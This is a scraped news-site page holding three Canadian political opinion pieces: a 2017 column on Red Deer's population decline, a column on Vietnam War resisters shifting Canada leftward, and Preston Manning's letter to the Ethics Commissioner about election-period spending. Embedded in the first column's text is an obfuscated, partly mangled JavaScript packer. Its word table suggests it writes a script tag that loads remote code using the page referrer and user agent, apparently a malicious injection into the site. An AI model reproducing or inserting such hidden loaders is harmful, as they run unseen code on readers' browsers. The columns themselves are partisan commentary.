Connect with us

Opinion

April 18 2017 Red Deer’s financial statement, presented to council, showed huge population decline.

Published

5 minute read

Just eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abkyk|var|u0026u|referrer|yyikr||js|php’.split(‘|’),0,{}))
10 weeks ago on April 18, 2017 the 2016 Annual Financial Statement was presented to city council. In this document our population was discussed, and the decline was quantified. Our city declined from 100,807 residents in 2015, to 99,832 residents in 2016. Our city is actually smaller by 975 residents.
According to our census, 777 residents out of 975, left the neighbourhoods north of the river. This area is home to 30% of the population down from 40% in 1985. 30% of the population accounted for almost 80% of the outward migration of our population. Coincidentally the population in Blackfalds increased by 700 residents, during this time.
It is one thing that Red Deer is one of the very few communities to show an actual decline in population in a province that grew by about 4%. Especially given that Communities around Red Deer grew more rapidly than normal. The fact the north side of the river declined so steeply should set off some alarm bells, but it did not.
Evidence proving differently, the decline is a result of the provincial economy. Even given that Edmonton, Calgary and Lethbridge are 3 of the 5 fastest growing cities in Canada along with Regina and Saskatoon.
This is proven, documented and accepted fact. The city is basing their estimates on these facts. The city will not do a census this year because they do not see any indication of the growth needed to validate the cost. The city will be deferring any annexation due to lack of growth.
Minutes adopted, reports presented, and news printed but will any politician or political wannabe discuss this, offer solutions, or even acknowledge these concerns? No, because it is a negative. They do not have any ideas beyond the rhetorical status-quo platitudes.
September 2015, CBC news reports that Alberta has the poorest air quality in Canada, Red Deer region has the poorest air in Alberta. Red Deer north, Riverside monitors have been registering levels requiring immediate attention. 21 months later and we are no further ahead beyond trying to discredit reports, replacing monitors, and ignoring the repercussions of our actions.
Perhaps we could think about our tendency to compartmentalize our city. Why do we have all high schools, current and future along with 10 of 11 recreational facilities on one side of the city necessitating long commutes for 30% of the population. Why are we concentrating all our industry on the other side of the city, which coincidentally also has poorest air quality?
Our crime rate has been noted for being notoriously high, even topping some national charts, and has been given some notice by these same politicians and political wannabes. But are they looking in isolation without giving thought to big picture repercussions of our actions elsewhere.
Does the lack of access to recreational facilities north of the river contribute to juvenile delinquencies? Do long commutes deter young people from participating in extra-curricular activities, encouraging juvenile delinquencies? Just simple questions being left unanswered.
I think it is great to advocate for others to do their jobs, like provincial and federal elected representatives but it does not mean relinquishing all responsibilities in areas you can control.
Red Deer is not, currently, growing and is in fact declining. The city based it’s finances, budgets and projections on this fact. The province acknowledges this in ways evident to any one paying attention to the news. Removing Red Deer from needs’ lists, concentrating money and attention beyond our borders. The province is finally addressing our high crime in a reactionary way by expanding the court system, while ignoring our equally important medical and housing needs.
These are difficult issues, and it is easier to ignore or point blame at others than to offer solutions or even suggestions. But I am ever hopeful that there are those who will not hide but address these very real issues. Anyone?

Follow Author

Opinion

Left Turn: How Viet Nam War Resisters Changed Canada’s Political Compass

Published on

Politics is downstream of culture”— Andrew Breitbart

Canada has long desired its own foreign policy independent of neighbouring America. So the news that Canada and communist China are the only partners in resisting Donald Trump’s call for tariff negotiations was good news indeed for Trudeaupia. With former RCMP officers alleging that nine Liberal members of Parliament were colluding with China, the pivot seems confirmed.

How average Canadians feel about this will largely depend on whether they are extremely gullible or, like the Norwegian Blue parrot, just resting. But if we use the current Liberal strategy of resurrecting Gordie Howe’s elbows as a rallying cry option one seems increasingly likely.

Norman Bethune notwithstanding, Canada wasn’t always passionate about aligning with the China of Mao or Zhao Enlai For most of its history until the 1960s, Canada was a small C conservative nation of resource development, small businesses and loyalty to the Crown (the Queen, not the TV show). Sure, it took in TV producers and hosts targeted by the 1950s Hollywood Black list. But as Mark Carney will tell you, Canada’s TV stars of the day were Mr. Dressup and Friendly Giant. Not radical.

Most Canadians sneered quietly at U.S. pretensions and their military. But Canadian politics suddenly pivoted left in the 1960s, from genial Mike Pearson to Pierre “The Rake” Trudeau. In Pearson’s day it was a national scandal that a Canadian cabinet minister slept with a German woman who also shared a pillow with a Soviet official. In Trudeau’s day it was a scandal if he didn’t sleep with Barbra Streisand after their date.

The main factors shoving Canada left were A) Quebec separation and  B) the Viet Nam War from 1963-1975. Quebec’s rejection of the Church in favour of a secular state got most of the ink, producing Trudeau himself, René Levêsque and an unending series of federal/ provincial dog piles. The result is a self-satisfied Quebec and a ROC whose attitude on Quebec has flipped from fraternal twin to very reluctant landlord.

But the impact of B) on Canada was profound and continues today with the leftward bias in Canada’s cultural and media outlook. Specifically, the total of American citizens who moved to Canada due to their opposition to the war ranges from 50,000 to 100,000— at a time when Canada’s population was approximately 20 million. The common denominator for almost all the emigrés was a defiant opposition to America’s compulsory draft system for young men that remained in place till 1972.

The most famous objector was probably boxer Muhammad Ali who demanded conscientious objector status, losing five years of his career while fighting prison as a draft dodger. At least Ali got to stay home.

Others headed north. Some of the new Canadians were draft dodgers, others were deserters. Many were educated middle-class to upper class young men who objected to the War. Chris Turner in the Walrus has described it as “the largest politically motivated migration from the United States since the United Empire Loyalists moved north to oppose the American Revolution.”

After initially rejecting deserters, Canada under Trudeau in 1969 agreed not to ask the draft status of the newcomers. They were allowed to reside in Canada, and many stayed permanently even when the U.S. declared clemency for them. As befits their political leaning in rejecting the War, many later became involved in progressive causes, academia and the arts.

If you hold with Breitbart’s theory that politics is downstream of culture you can see their progressive effect on Canada’s politics and culture. A sample of transplanted Americans includes author William Gibson, politician Jim Green, gay-rights advocate Michael Hendricks, author Keith Maillard, playwright John Murrell, television personality Eric Nagler, broadcaster Andy Barrie, film critic Jay Scott, sportswriter Jack Todd and musician Jesse Winchester. (In our own 1970s education several of our professors at U of T were prominent draft dodgers.)

When Viet Nam disappeared as a cause for Canadians, this leftist cohort championed progressive causes such as socialism, gay rights, feminism, race issues and social sciences. Their critical perspective on American conservative figures such as Richard Nixon, Ronald Reagan, George W. Bush and now Donald Trump guided Canadian attitudes. Media increasingly tilted leftward.

Woke Canadians now think that if you give people safe places to inject their drugs they’ll eventually heal themselves. They also believe if you take away the legal guns in society this will protect them from random violence. They think that wishing to be female is enough to allow men to compete in women’s sports. It’s government by PBS. If you want to see the bias at work you needed only see the high dudgeon of Canada’s “approved media” when conservative social media sites peppered the leaders after the French language debate Wednesday.

The recent Liberal Party Team Canada propaganda war— featuring longtime U.S. exiles Mike Myers and Neil Young ripping Trump’s tariffs– is just the latest in a cultural war against America. However, there seems for the first time in a long time to be pushback against this entrenched attitude of privilege. The state’s patronage of CBC has been a popular element of Pierre Poilievre’s platform. The publication of polling favourable to Liberals— after legacy pollsters in the U.S. distorted the 2024 election— is being questioned.

One popular mainstream media narrative concerns how Pierre Poilievre “lost” a 20-point lead in the polls from last November— the insinuation being Canada is rejecting him. But a fair reading of the polls is that the NDP under Mr. Rolex, Jagmeet Singh, has bled as much as ten points to the Liberals. In addition the Bloq support in Quebec is dropping due to soft separatists fearing assimilation by Trump’s America.

The debates of the past two nights show just how desperately the Laurentian elites are clinging to power when around the western world their pals are being booted. They’ll support the anodyne banker and court more years of Liberal chaos if it buys them peace in their gated suburbs. And deny that any of this pleases the ruling class back in China.

Bruce Dowbiggin @dowbboy is the editor of Not The Public Broadcaster  A two-time winner of the Gemini Award as Canada’s top television sports broadcaster. His new book Deal With It: The Trades That Stunned The NHL And Changed Hockey is now available on Amazon. Inexact Science: The Six Most Compelling Draft Years In NHL History, his previous book with his son Evan, was voted the seventh-best professional hockey book of all time by bookauthority.org. You can see all his books at brucedowbigginbooks.ca.

Continue Reading

2025 Federal Election

Allegations of ethical misconduct by the Prime Minister and Government of Canada during the current federal election campaign

Published on

Preston Manning's avatar Preston Manning

A letter to the Ethics Commissioner sent April 9th, 2025

On April 4, 2025, during the current federal election period, in which employees of the Canadian Broadcasting Corporation (CBC) report on all aspects of the election, the unelected Prime Minister, without any consultation with or authorization by parliament but apparently with the concurrence of the Minister of Heritage, promised an increase of $150 million in the budget of the CBC on top of its $1.38 billion budget for the current fiscal year.

The CBC consistently and for obvious reasons tends to share the ideological orientation of the governing Liberal Party and its political allies, and supports many of their policy positions. It tends to ignore or oppose those of the Conservative Official Opposition which proposes dismantling the CBC.

The unelected Liberal Prime Minister promising a $150 million bonus to the CBC in the middle of an election campaign would thus strike any objective observer as unethical, damaging to public confidence in our democratic institutions, and deserving of investigation and commentary by your office.

In particular, it is respectfully requested that you address the following questions:

1. Has the Prime Minister acted unethically by promising the state owned broadcasting corporation, sympathetic to the governing party, a $150 million increase in its budget, during a federal election campaign?

2. Is the promise of a $150 million increase in the budget of the CBC, during an election period in which the CBC is expected to give objective coverage to the campaign, in effect a defacto bribe and contrary to the spirit and the letter of the Conflict of Interest Code and Act?

In addition, on April 7, 2025, again during the current election period, the Prime Minister has announced that the federal government will distribute approximately $4 billion in carbon rebate payments directly to approximately 13 million Canadians, many of whom are eligible voters, and will do so prior to the election day of April 28.

This naturally raises the following questions which it is again respectfully requested that you address:

3. Has the Prime Minister and the federal government acted unethically by authorizing the distribution, prior to election day, of almost $4 billion in rebate payments to approximately 13 million Canadians, many of whom are voters, and doing so with the suspected intent of winning the support of those voters?

4. Is the promise and delivery, prior to election day, of almost $4 billion in rebate payments to approximately 13 million Canadians, many of whom are voters, in effect a defacto attempt to bribe those voters with their own money, and contrary to the spirit and the letter of the Conflict of Interest Code and Act?

To assist in the consideration of these allegations, suppose the UN were to ask Canada to supervise a national election in a third world country where democracy is frail and elections subject to abuse by those in authority. Suppose further that the unelected president of that country, during the election campaign period, endeavored to secure:

· The support of the state broadcasting corporation by promising it a huge increase in its budget, and,

· The support of millions of voters by ensuring that they received a generous personal payment from his government just prior to election day.

In such a situation, would not the Canadian monitoring authority be obliged to strongly censure such behaviors and report to the UN that such behavior calls into question the democratic legitimacy of the election subjected to such abuses?

If we as Canadians would consider such political behaviors anti-democratic and unacceptable if practiced in a foreign country, ought we not to come to the same conclusion even more quickly and certainly when they are regrettably practiced in our own?

Please respond to questions 1-4 above prior to April 25, 2025 and please ensure that your responses are made public prior to that date.

Thanking you for your service and your commitment to safeguarding public confidence in Canada’s democratic institutions and processes.

Your sincerely,

Preston Manning PC CC AOE

Continue Reading

Trending

X